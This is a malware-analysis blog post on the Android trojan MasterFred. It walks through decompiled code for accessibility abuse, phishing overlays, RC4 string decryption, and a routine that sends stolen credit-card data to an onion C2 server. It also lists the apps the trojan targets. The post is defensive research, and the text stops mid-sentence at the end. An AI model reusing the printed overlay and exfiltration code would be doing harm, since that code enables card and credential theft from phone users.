Mobile Malware Analysis Part 2 – MasterFred

Application Details

Name: MasterFred

Package Name: mlab.sert.fr

SHA-256 Hash: ce0f20f0c1283fd0e29a5b6a4bd2a44c6a1968b0e7553386bf1e7c88ffce5427

Introduction

Welcome to the next phase of our Mobile Malware Analysis series. In this sequel, we dive into the enigmatic maneuvers of MasterFred, a notorious malware exploiting Android Accessibility services for its nefarious objectives. Beyond financial breaches, MasterFred infiltrates social networks and vital services. Hidden HTML overlays, crafty login pages, and a labyrinth of stratagems await within its digital arsenal. Join us as we unravel the cryptic mechanics behind MasterFred’s intrigue and fortify yourself against cutting-edge digital threats. Let’s get started.

Analysis

Let’s begin analyzing the apk using jadx-gui to get an idea of what the Android malware is doing once installed on the victim’s device. AndroidManifest.xml reveals the different components and permissions this application has.

Permissions

				
					<uses-permission android:name="android.permission.INTERNET"/>
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE"/>
<uses-permission android:name="android.permission.ACCESS_WIFI_STATE"/>
<uses-permission android:name="android.permission.READ_PHONE_STATE"/>
<uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW"/>
				
			

These 2 permissions raise suspicions as they are categorized as dangerous permissions

  • android.permission.READ_PHONE_STATE → allows read-only access to the phone state, including the phone number of the device, current cellular network information, and much more.

  • android.permission.SYSTEM_ALERT_WINDOW → It can allow an app to be displayed on top of another app, obscuring the lower-level app

We can see the app also has Internet permission which suggests the app is communicating with an endpoint.

Let’s check the Manifest file to understand the different components present in this app.

Components

				
					<activity android:theme="@style/Theme.AppCompat.NoActionBar" android:name="com.lovelydast.dating.MainActivity">
    <intent-filter>
        <action android:name="android.intent.action.MAIN"/>
        <category android:name="android.intent.category.LAUNCHER"/>
    </intent-filter>
</activity>
<activity android:name="pfuzva.qnrdkp.fwnppu.ActivityWeb"/>
<activity android:name="pfuzva.qnrdkp.fwnppu.ActivityPreInstall" android:exported="false" android:excludeFromRecents="true" android:screenOrientation="portrait">
    <intent-filter android:label="@string/install_name">
        <action android:name="android.intent.action.VIEW" android:excludeFromRecents="true"/>
        <category android:name="android.intent.category.DEFAULT" android:excludeFromRecents="true"/>
        <category android:name="android.intent.category.BROWSABLE" android:excludeFromRecents="true"/>
        <data android:scheme="app" android:host="mlab"/>
    </intent-filter>
</activity>
<activity android:name="pfuzva.qnrdkp.fwnppu.ActivityGetAccessability" android:exported="false"/>
<service android:name="pfuzva.qnrdkp.fwnppu.OverlayService"/>
<service android:label="@string/ap" android:name="pfuzva.qnrdkp.fwnppu.MyAccessability" android:permission="android.permission.BIND_ACCESSIBILITY_SERVICE" android:exported="false">
    <intent-filter>
        <action android:name="android.accessibilityservice.AccessibilityService"/>
    </intent-filter>
    <meta-data android:name="android.accessibilityservice" android:resource="@xml/accessibilityservice"/>
</service>
<service android:label="@string/ap" android:name="pfuzva.qnrdkp.fwnppu.NLService" android:permission="android.permission.BIND_NOTIFICATION_LISTENER_SERVICE" android:exported="false">
    <intent-filter>
        <action android:name="android.service.notification.NotificationListenerService"/>
    </intent-filter>
</service>
				
			

We can see there are some interesting components defined like an Accessibility Service, Notification Listener Service, an Overlay Service along with a few activities (including a MainActivity)

Source Code Analysis

Let’s start out code analysis from the MainActivity

MainActivity.java

				
					public void onCreate(Bundle bundle) {
    super.onCreate(bundle);
    setContentView(R.layout.activity_main);
    WebView webView = (WebView) findViewById(R.id.web_view);
    this.n = webView;
    webView.getSettings().setJavaScriptEnabled(true);
    this.n.setWebViewClient(new a());
    this.n.loadUrl("https://m.mingle2.com/");
    final Context applicationContext = getApplicationContext();
    new Thread(new Runnable() { // from class: c.a.a.a
        @Override // java.lang.Runnable
        public final void run() {
            Activity activity = this;
            Context context = applicationContext;
            activity.getApplicationContext();
            new Handler(Looper.getMainLooper()).post(new h(activity, context));
        }
    }).start();
}
				
			

We can see there is a WebView defined in this activity that loads the url https://m.mingle2.com/

Let us turn our attention to the MyAccessibility class, since in many malware Accessibility Services are abused to perform illegal actions.

MyAccessibility.java

As discussed in the previous article, we understand the code execution of an accessibility class starts from onAccessibilityEvent().

				
					....
ComponentName componentName = null;
try {
    componentName = new ComponentName(accessibilityEvent.getPackageName().toString(), accessibilityEvent.getClassName().toString());
} catch (Exception unused) {
}
try {
    accessibilityEvent.getPackageName().toString();
    accessibilityEvent.getPackageName().toString().toLowerCase();
    StringBuilder sb = new StringBuilder();
    for (CharSequence charSequence : accessibilityEvent.getText()) {
        sb.append(charSequence);
    }
    sb.toString().toLowerCase();
    accessibilityEvent.getClassName().toString().toLowerCase();
    str = e(this).toLowerCase();
} catch (Exception unused2) {
    str = BuildConfig.FLAVOR;
}
....
				
			

We can see that the service is getting the component name of the application that is currently running.

				
					....
String packageName = componentName.getPackageName();
if (!PreferenceManager.getDefaultSharedPreferences(applicationContext).getBoolean(i.a("ODQxOTIxNjE6OjpU4aOh9gU="), false) && **a(this, i.a("MzMxMTQ0MTY6OjqcHkW7"), i.j(packageName))**) { 
    **Intent intent = new Intent(this, ActivityWeb.class);**
    **Bundle bundle = new Bundle();
    bundle.putString(i.a("NTgzNzYxMzY6OjoVwPg="), i.j(packageName));
    bundle.putString(i.a("ODc4NjY2ODU6OjotlwW4"), i.a("NzUzODE1ODQ6OjqTtA=="));
    intent.putExtras(bundle);
    intent.addFlags(268435456);
    startActivity(intent);**
}
SharedPreferences defaultSharedPreferences = PreferenceManager.getDefaultSharedPreferences(applicationContext);
if (!defaultSharedPreferences.getBoolean(i.a("OTg2ODIzODg6OjrORrOm") + packageName, false) && **a(applicationContext, i.a("NTM5NTQxNjk6OjoUiR53"), i.j(packageName))**) { 
    **Intent intent2 = new Intent(this, ActivityWeb.class);
    Bundle bundle2 = new Bundle();
    bundle2.putString(i.a("MzIyNjQ5OTQ6OjoakNg="), i.j(packageName));
    bundle2.putString(i.a("ODk4MjY3Mzk6OjqjNEpN"), i.a("MTc5NTIzNDY6OjrnyWIWXPg="));
    intent2.putExtras(bundle2);
    intent2.addFlags(268435456);
    startActivity(intent2);**
}
....
				
			

We can also see some obfuscated strings in this function that are being passed to a(). Lets check it out.

				
					public static String a(String str) {
    try {
        byte[] decode = Base64.decode(str, 0);
        if (decode.length <= 11 || !new String(new byte[]{decode[8], decode[9], decode[10]}, StandardCharsets.UTF_8).equals(":::")) {
            return str;
        }
        SecretKeySpec secretKeySpec = new SecretKeySpec(decode, 0, 8, "RC4");
        Cipher cipher = Cipher.getInstance("RC4");
        cipher.init(2, secretKeySpec);
        return new String(cipher.doFinal(decode, 11, decode.length - 11));
    } catch (Exception unused) {
        return str;
    }
}
				
			

We can see that this function decodes RC4 Encrypted strings, and this function has been used in many instances in this application.

Here is the link to the decryption code using which we will be decrypting the strings.

Decrypted Strings printed in Console.

Moving on, Let’s focus on this line of code.

				
					a(this, i.a("MzMxMTQ0MTY6OjqcHkW7"), i.j(packageName))

=======================================================

//Inner function a()
public static String a(String str) {
  try {
      byte[] decode = Base64.decode(str, 0);
      if (decode.length <= 11 || !new String(new byte[]{decode[8], decode[9], decode[10]}, StandardCharsets.UTF_8).equals(":::")) {
          return str;
      }
      SecretKeySpec secretKeySpec = new SecretKeySpec(decode, 0, 8, "RC4");
      Cipher cipher = Cipher.getInstance("RC4");
      cipher.init(2, secretKeySpec);
      return new String(cipher.doFinal(decode, 11, decode.length - 11));
  } catch (Exception unused) {
      return str;
  }
}

//function j()
public static String j(String str) {
    try {
        MessageDigest messageDigest = MessageDigest.getInstance(a("NjkxNDU1NTQ6OjrtLJ8="));
        messageDigest.update(str.getBytes());
        byte[] digest = messageDigest.digest();
        StringBuilder sb = new StringBuilder();
        for (byte b2 : digest) {
            String hexString = Integer.toHexString(b2 & 255);
            while (hexString.length() < 2) {
                hexString = a("MzE5MjI2MTM6Ojqo") + hexString;
            }
            sb.append(hexString);
        }
        return sb.toString();
    } catch (NoSuchAlgorithmException e) {
        e.printStackTrace();
        return BuildConfig.FLAVOR;
    }
}
				
			

By passing "MzMxMTQ0MTY6OjqcHkW7" to function a() it comes out as html and we can see that function j() gets the md5 hash value of the package names.

Now let’s check the function a() that takes both these values.

				
					public static boolean a(Context context, String str, String str2) {
    AssetManager assets = context.getResources().getAssets();
    try {
        assets.open(str + i.a("Njg1ODY3ODg6OjpE") + str2 + i.a("MjQ4NzE0MTM6Ojox8PjMqleF+1h9Vg=="));
        return true;
    } catch (IOException e2) {
        e2.printStackTrace();
        return false;
    }
}
				
			

Aha…. This looks interesting.

Basically, this function checks whether index.html for the particular package name exists in the HTML directory in the assets directory.

Let’s see one of these index.html to see what they display.

Yesss. We hit the jackpot. The purpose of these HTML files is to steal credit card details from the user. Now try to find out what they do with these details.

If we continue to check the other part of the if-else code that we started earlier, we can see that in the other part, they are checking whether the index.html file that lies within the directory whose name is the same as MD5 hash of the package name is present in the iapk directory.

But in both of these conditions, they are creating an intent to start ActivityWeb class.

ActivityWeb.java

				
					public void onCreate(Bundle bundle) {
    String str;
    super.onCreate(bundle);
    setContentView(R.layout.activity_web);
    if (r() != null) {
        r().c();
    }
    if (getActionBar() != null) {
        getActionBar().hide();
    }
    try {
        Bundle extras = getIntent().getExtras();
        this.mw_var_pkg = extras.getString(i.a("NDYyNzEyOTU6OjpqMhM="));
        this.mw_var_type = extras.getString(i.a("Nzc2MjYxNzY6OjrxzEWT"));
        WebView webView = (WebView) findViewById(R.id.web_view);
        this.n = webView;
        webView.setClickable(true);
        WebSettings settings = this.n.getSettings();
        settings.setJavaScriptEnabled(true);
        settings.setDomStorageEnabled(true);
        settings.setJavaScriptCanOpenWindowsAutomatically(true);
        settings.setAllowFileAccess(true);
        settings.setDefaultTextEncodingName(i.a("NzI5ODMxOTY6Ojrkh6gdqQ=="));
        settings.setUseWideViewPort(false);
        settings.setLoadWithOverviewMode(true);
        settings.setCacheMode(1);
        settings.setAllowUniversalAccessFromFileURLs(true);
        this.n.setWebViewClient(new b(this, null));
        this.n.addJavascriptInterface(new c(this), i.a("NzU4MTgxODk6Ojpgk8ur6Jha"));
        if (this.mw_var_type.equals(i.a("MTQzMjQ0MTU6OjoOcrsGLoM="))) { 
            this.n.loadUrl(extras.getString(i.a("MTIzNjk4NzI6OjqhG4g=")));
            return;
        }
        String aa = this.mw_var_type.equals(i.a("ODM1MzI4NDY6OjoM1A==")) ? i.a("ODk5MjYyODQ6Ojr1osM1") : BuildConfig.FLAVOR;
        if (this.mw_var_type.equals(i.a("Njk1MjY1NDg6OjqysRkC8zk="))) {
            aa = i.a("NTc3MzE0MTU6OjopKTm2");
        }
        WebView webView2 = this.n;
        String str2 = i.a("NTU5MTczMjk6Ojq8tGqXEsiT+WtudrrnvcSuaufohPRZwg==") + aa + i.aa("MTI2NjIyNjg6OjpW") + this.mw_var_pkg + i.a("NjU2MjQ1Mjk6Ojqr");
        **try {
            InputStream open = getApplicationContext().getAssets().open(aa + i.a("NTg1MzQ0NjM6OjrJ") + this.mw_var_pkg + i.a("MTI4Nzc2ODg6Ojr4ekz1IkZDAls/HA=="));
            byte[] bArr = new byte[open.available()];
            open.read(bArr);
            open.close();
            str = new String(bArr, i.a("OTEyNzQ3NTc6Ojr0NxSDgw=="));
        } catch (IOException e) {
            e.printStackTrace();
            str = BuildConfig.FLAVOR;
        }
        webView2.loadDataWithBaseURL(str2, str, i.a("NzQ0MzE0MjU6OjriUSTAMXJ2XiE="), i.a("MTIxMjk2MzU6Ojo3+SGqjA=="), null);**
    } catch (Exception unused) {
        finish();
    }
}
				
			

If we look at this code, we can see that a file is being read from the Assets directory. Based on the code we saw as MyAccessibility class, we can figure out how this malware works

				
					Get the Package Name of the application that is currently running -> 
Get the package name -> Get the MD5 hash of the package name -> 
Check whether index.html file exists within either /assets//<MD5 Hash Value> ->
If exists, load the html file -> Steal personal details from the user 
				
			

If we go through this class, we can see a function named returnResult that has the @Javascript Interface annotation.

				
					@JavascriptInterface
  public void returnResult(String str) {
      if (str.length() > 0) {
          Context applicationContext = ActivityWeb.this.getApplicationContext();
          ActivityPreInstall.mw_editSharedPrefs1(applicationContext, ActivityPreInstall.z(applicationContext));
          if (ActivityWeb.xx.equals(i.a("Njk5NjMyMjE6Ojq9Ag=="))) {
              String a = i.a("Mzc5MzU4MTE6OjrTcKYDYhlvLGWXOrMI3o7tM1IM");
              try {
                  JSONObject jSONObject = new JSONObject(str);
                  JSONObject jSONObject2 = new JSONObject();
                  jSONObject2.put(i.a("NTE1NzMzMjc6OjotvBw="), ActivityPreInstall.y(applicationContext));
                  jSONObject2.put(i.a("OTI1MzI0MTM6Ojp7gq0="), jSONObject.getString(i.a("NzYxNjk3Njc6OjoXVTvQ5Q==")));
                  jSONObject2.put(i.a("MTk0NjY4NjQ6OjrzH4Hr"), jSONObject.getString(i.a("ODk5OTY0NTM6Ojov4sA=")).replace(" ", BuildConfig.FLAVOR));
                  jSONObject2.put(i.a("NDIxNDk2MTY6Ojr+Dt3iQQ=="), jSONObject.getString(i.a("ODU5NDM4NjI6OjppZ0L1")).split(i.a("MTczODk5ODU6OjqQKJQ="))[0]);
                  jSONObject2.put(i.a("NTU1NTM1NDc6OjoWs1kt"), jSONObject.getString(i.a("MTQ4NTE4NTM6OjrxzxhW")).split(i.a("MjM4NzM0MTc6Ojp9KA4="))[1]);
                  jSONObject2.put(i.a("MzYxMjMyNTM6OjqYMVI="), jSONObject.getString(i.a("NDc5MzcxMzI6OjrvR2za")));
                  jSONObject2.put(i.a("NTc2MTk0ODE6OjryEDEy4iH0xA=="), jSONObject.getString(i.a("MzQ2MzQ1Nzk6Ojr6THEUiLZ8pA==")));
                  jSONObject2.put(i.a("MjQyNzU2MjI6Ojr081G3"), jSONObject.getString(i.a("MzcxNTUzNjk6OjpqpQBb")));
                  jSONObject2.put(i.a("NzgyMzYxNjQ6OjomsVc="), jSONObject.getString(i.a("OTg3ODk0MjE6OjoMid4=")));
                  jSONObject2.put(i.a("Mjk2NTExMzM6OjofgMU="), jSONObject.getString(i.a("NjM3MjI5MzU6OjplYG8=")));
                  jSONObject2.put(i.a("ODQyNzcyNDM6OjrQ25o="), jSONObject.getString(i.a("OTU3MTk0Mjg6OjqHNRY=")));
                  if (ActivityPreInstall.z(applicationContext).length() > 0 && ActivityPreInstall.A(applicationContext)) {
                      **d.w(a, jSONObject2);** 
                      SharedPreferences.Editor edit = PreferenceManager.getDefaultSharedPreferences(applicationContext).edit();
                      edit.putBoolean(i.a("NTY5Mjk0NzQ6Ojrcs+TWHnM="), true);
                      edit.commit();
                  }
              } catch (Exception unused) {
                  ActivityWeb.this.finish();
              }
          }
          if (ActivityWeb.xx.equals(i.a("OTE1OTgzMTM6Ojp0ggYfYGY="))) {
              String a2 = i.a("MjY4MTI0ODM6Ojr3rDmiz/B2bys2zgVIE+1XrB+kzlul");
              try {
                  JSONObject jSONObject3 = new JSONObject();
                  jSONObject3.put(i.a("NjE2NzI3NDE6OjpV0HI="), ActivityPreInstall.y(applicationContext));
                  jSONObject3.put(i.a("NzQ4NDg0MjE6Ojplk/s="), ActivityWeb.yy);
                  jSONObject3.put(i.a("MjE5OTQzNzc6Ojr8OeyC"), str);
                  if (ActivityPreInstall.z(applicationContext).length() > 0 && ActivityPreInstall.A(applicationContext)) {
                      **d.w(a2, jSONObject3);**
                      String str2 = ActivityWeb.yy;
                      SharedPreferences.Editor edit2 = PreferenceManager.getDefaultSharedPreferences(applicationContext).edit();
                      edit2.putBoolean(i.a("NzUxNzY5NzU6OjrBcwcU") + str2, true);
                      edit2.commit();
                  }
              } catch (Exception unused2) {
                  ActivityWeb.this.finish();
              }
          }
          ActivityWeb.this.finish();
      }
      ActivityWeb.this.finish();
  }
}
				
			

Now many of our readers will think what’s so special about this annotation.

According to the official Android Documentation for WebView, methods that are explicitly marked with this annotation are available to be called in JavaScript code.

If we also check the html files, we can see that this function is being called.

				
					function finish__(el) {
    var data__ = $('form').custom_ser();
    data__.exit = ""
    console.log(data__);
    Android.returnResult(JSON.stringify(data__))
}
				
			

Now what is this Android object??

If we check onCreate() method of ActivityWeb class, we can see this line of code

				
					this.n.addJavascriptInterface(new c(this), i.a("NzU4MTgxODk6Ojpgk8ur6Jha"));
				
			

Basically, the WebView has a JavaScript Interface which means a JavaScript code can access a function that is being annotated with @Javascript Interface using the string value being passed as the second parameter.

Decoded value of a("NzU4MTgxODk6Ojpgk8ur6Jha") is Android

Let’s check what is happening inside returnResult().

Looking inside the first if condition, we can see many encrypted strings. If we decode them, we can see strings like name, card, address, cc, and CVV number (things that are related to Credit Card) are being stored in a JSONObject and being passed to function w()

Looking into the code of function w()

				
					public static String w(String str, JSONObject jSONObject) {
    String next;
    String str2 = BuildConfig.FLAVOR;
    String a = i.a("MjY2NTM2NjY6OjpHoz+E");
    StrictMode.setThreadPolicy(new StrictMode.ThreadPolicy.Builder().permitAll().build());
    try {
        URL url = new URL(i.a("OTI4MTg1NzQ6OjrgUScojFEVlQ==") + l() + str);
        Iterator<String> keys = jSONObject.keys();
        String str3 = BuildConfig.FLAVOR;
        while (keys.hasNext()) {
            str3 = str3 + ((Object) next) + i.a("MjgxODQ3ODQ6Ojpt") + jSONObject.get(keys.next().toString()) + i.a("MzcxMjg3ODU6Ojpb");
        }
        TrustManager[] trustManagerArr = {new c.a.a.d()};
        SSLContext sSLContext = SSLContext.getInstance(i.a("MzU3NDI5MjQ6OjqHp/g="));
        sSLContext.init(null, trustManagerArr, new SecureRandom());
        HttpsURLConnection.setDefaultSSLSocketFactory(sSLContext.getSocketFactory());
        HttpsURLConnection.setDefaultHostnameVerifier(new c.a.a.e());
        HttpsURLConnection httpsURLConnection = (HttpsURLConnection) url.openConnection();
        httpsURLConnection.setRequestMethod(a);
        httpsURLConnection.setConnectTimeout(5000);
        httpsURLConnection.setDoOutput(true);
        httpsURLConnection.setRequestProperty(i.a("ODYyMzE3NDk6OjosV+pXgySqYj/lnvA="), i.a("OTE0OTM0ODQ6Ojr6MN6i8ZpqNrN8W6dvFW3jkyOKZYMq/1ROsHEb19f605c="));
        OutputStream outputStream = httpsURLConnection.getOutputStream();
        BufferedWriter bufferedWriter = new BufferedWriter(new OutputStreamWriter(outputStream, i.a("NjE0OTk0Mjk6OjrvrMMaDQ==")));
        bufferedWriter.write(str3);
        bufferedWriter.flush();
        bufferedWriter.close();
        outputStream.close();
        if (httpsURLConnection.getResponseCode() == 200) {
            BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(httpsURLConnection.getInputStream()));
            while (true) {
                String readLine = bufferedReader.readLine();
                if (readLine == null) {
                    break;
                }
                str2 = str2 + readLine;
            }
        }
    } catch (Exception e) {
        e.printStackTrace();
    }
    return str2;
}
				
			

Finally, we can see that our data is being sent to the C2C Server along with our credit card details.

If we focus on this line URL url = new URL(i.a("OTI4MTg1NzQ6OjrgUScojFEVlQ==") + l() + str); we can get the C2C server URL where all of our details are being sent.

				
					import java.nio.charset.StandardCharsets;
import java.util.Base64;
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;

public class Main {
    public static void main(String[] args) {
        System.out.println("URL:" + a("OTI4MTg1NzQ6OjrgUScojFEVlQ==")+l());
    }
    
    public static String l() {
        a("MzY2NzgzNzE6OjoaY78=");
        return a("MTM3NDg5ODg6OjomOEYwUxrVq6b93C8Iww+seZ+l2NVKm+t1jONVAezz2cDE4CyeT5KNYRO0FrzASUVAFVipeIvhKDn8i0xCHLk/9Q==");
    }

    public static String a(String str) {
        try {
            byte[] decode = Base64.getDecoder().decode(str);
            if (decode.length <= 11 || !new String(new byte[]{decode[8], decode[9], decode[10]}, StandardCharsets.UTF_8).equals(":::")) {
                return str;
            }
            SecretKeySpec secretKeySpec = new SecretKeySpec(decode, 0, 8, "RC4");
            Cipher cipher = Cipher.getInstance("RC4");
            cipher.init(Cipher.DECRYPT_MODE, secretKeySpec);
            return new String(cipher.doFinal(decode, 11, decode.length - 11));
        } catch (Exception unused) {
            return str;
        }
    }
}
				
			

The URL corresponds to a Tor Website → https://qjvpp2shgqyhcfdvtcpe3w4c4ngigwbcufdtmqokbbs23wymgervjtqd.onion.ws/[REDACTED]

Now a question might arise in our minds

How are these HTML pages able to be rendered on top of the application?

The answer to this question is due to the permission <uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW"/> and a service named OverlayService

				
					//Overlay Service.java
public class OverlayService extends Service {

    /* renamed from: a  reason: collision with root package name */
    public WindowManager f962a;

    /* renamed from: b  reason: collision with root package name */
    public View f963b;

    @Override // android.app.Service
    public IBinder onBind(Intent intent) {
        return null;
    }

    @Override // android.app.Service
    public void onCreate() {
        super.onCreate();
        WindowManager.LayoutParams layoutParams = new WindowManager.LayoutParams(-1, -1, 2038, 56, -3);
        this.f963b = LayoutInflater.from(this).inflate(R.layout.activity_overlay, (ViewGroup) null);
        WindowManager windowManager = (WindowManager) getSystemService("window");
        this.f962a = windowManager;
        windowManager.addView(this.f963b, layoutParams);
    }

    @Override // android.app.Service
    public int onStartCommand(Intent intent, int i, int i2) {
        if (intent.getBooleanExtra("stop", false)) {
            this.f962a.removeView(this.f963b);
            stopSelf();
        }
        return super.onStartCommand(intent, i, i2);
    }
}
				
			

Basically, our app requests the user for this permission. Once the user has granted this permission, this malicious application loads the corresponding HTML pages in our device.

Now another question might arise. How does this malicious application know what is happening in our activity?

This is also done because of the Accessibility Service that is running behind the scenes.

				
					public static void g(AccessibilityNodeInfo accessibilityNodeInfo, int i2) {
    if (accessibilityNodeInfo == null) {
        return;
    }
    String str = BuildConfig.FLAVOR;
    for (int i3 = 0; i3 < i2; i3++) {
        str = b.a.a.a.a.b(str, " ");
    }
    StringBuilder d2 = b.a.a.a.a.d(str);
    d2.append(i.a("NDU3Njc5MzU6OjqbA1mL"));
    d2.append(accessibilityNodeInfo.getWindowId());
    d2.append(i.a("NjM0NTc5MjE6OjpPWqyi"));
    d2.append(accessibilityNodeInfo.getViewIdResourceName());
    d2.append(i.a("Mjg1MjUxMjU6Ojo28quV"));
    d2.append((Object) accessibilityNodeInfo.getClassName());
    d2.append(i.a("Mzg1MTM3NjM6Ojo2iOYiHfXp"));
    d2.append((Object) accessibilityNodeInfo.getText());
    d2.append(" ");
    d2.append(i.a("MTIzMTU0MjM6OjqnHnmlG+lvKGfV6JGSHJH4VAKh7+B8"));
    d2.append((Object) accessibilityNodeInfo.getContentDescription());
    Log.v("===", d2.toString());
    for (int i4 = 0; i4 < accessibilityNodeInfo.getChildCount(); i4++) {
        g(accessibilityNodeInfo.getChild(i4), i2 + 1);
    }
}

public static void h(AccessibilityNodeInfo accessibilityNodeInfo, int i2) {
    if (accessibilityNodeInfo == null) {
        return;
    }
    String str = BuildConfig.FLAVOR;
    for (int i3 = 0; i3 < i2; i3++) {
        str = b.a.a.a.a.b(str, " ");
    }
    StringBuilder d2 = b.a.a.a.a.d(str);
    d2.append(i.a("MzI4NDE3ODU6OjptACXF"));
    d2.append(accessibilityNodeInfo.getWindowId());
    d2.append(i.a("NzY4NTk5OTQ6OjouYal5"));
    d2.append(accessibilityNodeInfo.getViewIdResourceName());
    d2.append(i.a("ODQyMzY3NjM6OjrODKND"));
    d2.append((Object) accessibilityNodeInfo.getClassName());
    d2.append(i.a("MzE1MTc2NjE6OjoSGJRBHw9n"));
    d2.append((Object) accessibilityNodeInfo.getText());
    d2.append(" ");
    d2.append(i.a("MzU0OTUyMjU6Ojp9zd3eKVzgNY6PaneDTjFyUWcUkQnv"));
    d2.append((Object) accessibilityNodeInfo.getContentDescription());
    Log.d("===", d2.toString());
    for (int i4 = 0; i4 < accessibilityNodeInfo.getChildCount(); i4++) {
        h(accessibilityNodeInfo.getChild(i4), i2 + 1);
    }
}
				
			

If we look into these functions they are collecting information like Window ID, Class Name, Texts, Content Description, and much more. To get a clear idea of this, check the logs using the command

				
					adb logcat -s "==="
				
			

We can confirm that the text present on the screen and other information is present in the logs, and this is what is used by the application to check what is happening in the device and act accordingly.

Here is the list of apps targeted by this malware.

App NameMD5 Hash
Twitter0b2fce7a16bf2b728d6ffa28c8d60efb
Snapchata63b0f8076346d26cbdc1b971a1da2a7
Skype appb1f7bbf91b565db9420d418963bac8aa
Google Playb5a5c5cb02ca09c784c5d88160e2ec24
Santander mobile50880dff23ad00092d76765322e72df8
PeoPayfa26b212d22d637c030a270eeba0f202
BNP Paribas GOMobilea307cb31fbcbf314b81c4109bb897fd3
PKO Bank Polski397aeab5db5b8d9d45214f256f7e4184

Conclusion

In this blog, we’ve encountered a digital threat that’s adapting fast. Using Android Accessibility services, MasterFred breaches privacy, stealing data, and invading networks. From financial info to social accounts, its skills are impressive. Hidden HTML overlays and tricky logins are just part of its arsenal. It can even adapt based on what you’re doing and what application is running. Plus, it secretly sends our info to a mysterious Onion URL acting as a h